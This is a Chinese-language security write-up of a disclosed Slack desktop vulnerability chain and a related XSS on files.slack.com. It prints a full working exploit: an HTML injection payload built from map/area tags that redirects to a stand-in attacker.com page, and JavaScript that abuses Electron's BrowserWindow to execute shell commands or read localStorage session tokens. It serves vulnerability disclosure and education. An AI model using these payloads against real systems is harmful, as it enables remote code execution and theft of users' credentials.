安全研究 | Slack桌面应用程序的RCE漏洞+XSS漏洞

时间:2022-07-24
本文章向大家介绍安全研究 | Slack桌面应用程序的RCE漏洞+XSS漏洞,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

对于Slack的桌面应用程序来说,一些应用内跳转、XSS、逻辑重定向和HTML或javascript注入bug,都有可能导致任意代码执行。这篇Writeup就讲述了作者通过构造HTML注入,绕过Slack安全控制措施,最终在Slack桌面应用中实现了RCE漏洞的情况。

为了证明该RCE漏洞造成的实际危害和利用场景,作者从HTML注入和Javascript payload的构造说起,最后还附加披露了Slack测试范围外的一个XSS漏洞,作者认为虽然该XSS漏洞同样可导致RCE漏洞,也应该引起Slack的重视。

漏洞利用

攻击者端:

1、构造一个包含RCE payload的文件准备上传到Slack服务端 2、以HTML注入方式构造一个Slack发贴(Slack Post) 3、把这个包含HTML注入的Slack发贴分享到频道或其他用户

受害者端:

受害者点击攻击者构造的迷惑图片即可中招实现RCE,攻击者在Payload中精心构造,可以控制受害者端的HTML跳转到攻击者指定的恶意网站。整个漏洞利用链绕过了Slack桌面应用程序的安全防护措施,可实现在受害者端的任意代码执行。

以JSON形式构造包含HTML注入的Slack发贴

1、创建一个带主题和相关内容的Slack发贴

这里,如果我们创建一个Slack发贴,将会向https://files.slack.com服务端执行以下JSON形式的内容请求:

{"full":"<p>content</p>","preview":"<p>content</p>"}

另外,我们可以通过请求/api/files.info路径获得该发贴文件的特定URL链接:

在请求/api/files.info的响应中,我们可以看到发贴文件的特定URL链接为:https://files.slack.com/files-pri/{TEAM_ID}-{FILE_ID}/TITLE,我们可以通过访问该链接看到其是一个JSON形式的元素内容。

2、构造HTML注入Payload

有了上述Slack发贴的JSON形式后,其实我们可以依此在其中进行一番构造,再反过来进行上传,观察构造后的发贴内容。比如我们可以在其中加入HTML,如通常的iframe, applet, meta, script, form等都是可利用的标签,另外,还有target标签重写为_blank的问题。但是,CSP策略和其它安全防护措施对HTML中Javascript等脚本运行有了很多限制。

然而,经测试分析,我发现即使有CSP等安全措施,仍然可以向HTML中注入area和 map标签,实现一键式RCE漏洞。为了直接对我们的发贴内容进行编辑,可以直接访问以下链接对其内容进行JSON形式构造:

https://{YOUR-TEAM-HOSTNAME}.slack.com/files/{YOUR-MEMBER-ID}/{FILE-ID}/title/edit

链接打开之后的JSON格式如上图所示,我们即可在其中加入我们的Payload元素进行JSON形式构造。此外,还可用Burp流量拦截方式,在其中加入Javascript或JSON脚本,或更改文件类型(filetyp)参数向其中注入doc文件。如向其中构造加入JSON的Payload:

我们可以在贴文的标题修改过程中针对/api/files.edit路径进行Burp流量拦截:

由于CSP策略的防护、各种HTML标签的安全限制和Javascript脚本运行的禁止,我只好构造了以下HTML注入型Payload:

<img src="https://files.slack.com/files-tmb/T02AVL3AF-FSUE04U2D-881f692a25/screenshot_2020-01-26_at_21.12.20_360.png" width="10000" height="10000" usemap="#slack-img">
<map name="slack-img">
<area shape="rect" coords="10000,10000 0,0" href="https://attacker.com/t.html" target="_self">
</map>

注意该Payload中需要以usemap属性引用一副图片,因此我们可以事先在Slack网络服务中上传这幅图片,以备后用。因此,结合这幅图片,我们可以通过以下贴文链接直接对贴文进行JSON形式构造:

https://{YOUR-TEAM-HOSTNAME}.slack.com/files/{YOUR-MEMBER-ID}/{FILE-ID}/title/edit

构造后的贴文JSON形式为:

{
  "full": "asd",
  "preview": "<img src="https://files.slack.com/files-tmb/T02AVL3AF-FSUE04U2D-881f692a25/screenshot_2020-01-26_at_21.12.20_360.png" width="10000" height="10000" usemap="#slack-img"><map name="slack-img"><area shape="rect" coords="10000,10000 0,0" href="https://attacker.com/t.html" target="_self"></map>"
}

3、托管在攻击者服务器中的RCE漏洞利用代码

上述Payload中area标签内的https://attacker.com/t.html,就是最终形成RCE漏洞的触发条件,它可以实现攻击者构造的任意命令执行,t.html内容如下:

<html>
<body>
<script>
  // overwrite functions to get a BrowserWindow object:
  window.desktop.delegate = {}
  window.desktop.delegate.canOpenURLInWindow = () => true
  window.desktop.window = {}
  window.desktop.window.open = () => 1
  bw = window.open('about:blank') // leak BrowserWindow class
  nbw = new bw.constructor({show: false, webPreferences: {nodeIntegration: true}}) // let's make our own with nodeIntegration
  nbw.loadURL('about:blank') // need to load some URL for interaction
  nbw.webContents.executeJavaScript('this.require("child_process").exec("open /Applications/Calculator.app")') // exec command
</script>
</body>
</html>

如果要在RCE中跳出弹窗形式,可以把其中的open /Applications/Calculator.app用calc等系统应用程序代替。

4、敏感数据信息获取

通过更改攻击者网站托管的t.html为以下内容,利用该漏洞可以无需交互或命令执行,即可获取受害者电脑中的Slack敏感数据,如用户会话、传递文件、token等信息。

<html>
<body>
<script>
  window.desktop.delegate = {}
  window.desktop.delegate.canOpenURLInWindow = () => true
  window.desktop.window = {}
  window.desktop.window.open = () => 1
  bw = window.open('about:blank')
  nbw = new bw.constructor({show: false}) // node not necessary for this demo
  nbw.loadURL('https://app.slack.com/robots.txt') // robots.txt for speed, app.slack.com gives us the user's full environment 
  nbw.webContents.executeJavaScript('alert(JSON.stringify(localStorage))')
</script>
</body>
</html>

本质上来说,攻击者利用该漏洞可以通过BrowserWindow方式建立隧道tunnel或重写Slack应用程序函数的形式,去执行任意的Javascript代码,以此去获取受害者系统中Slack应用中如会话、传递资料、加入频道等敏感数据信息。

Slack的另一个XSS漏洞

在测试RCE漏洞的过程中,我发现Slack中的发送邮件内容被无过滤存储在了https://files.slack.com中,其文件链接形式与上述贴文形式一样,且可以直接以text/html方式被请求响应。因此,利用上述贴文JSON构造注入方法,可以在其中嵌入包含RCE Payload内容的邮件链接,当然,此处嵌入的邮件链接不需要托管于攻击者服务器中。

但我们可以在如下的邮件内容中再嵌套加入钓鱼网页链接:

同样的,利用该种XSS方式一样可以实现RCE漏洞,如在macOS系统邮件客户端中,可构造如下HTML RCE Payload:

漏洞危害

远程代码执行:

1、获取受害者密钥、密码凭据、内部网络架构等敏感数据信息; 2、获取受害者的Slack私信会话、传递文件等信息; 3、反复的漏洞传播利用甚至可引发“蠕虫级”攻击;

files.slack.com中的XSS:

1、可以构造*.slack.com路径下任意HTML内容的可信页面; 2、可以被用来执行假冒登录页面的钓鱼攻击; 3、可以用来存储上述提到的RCE漏洞利用代码。

详细漏洞报告请参考:https://hackerone.com/reports/783877

参考来源:hackerone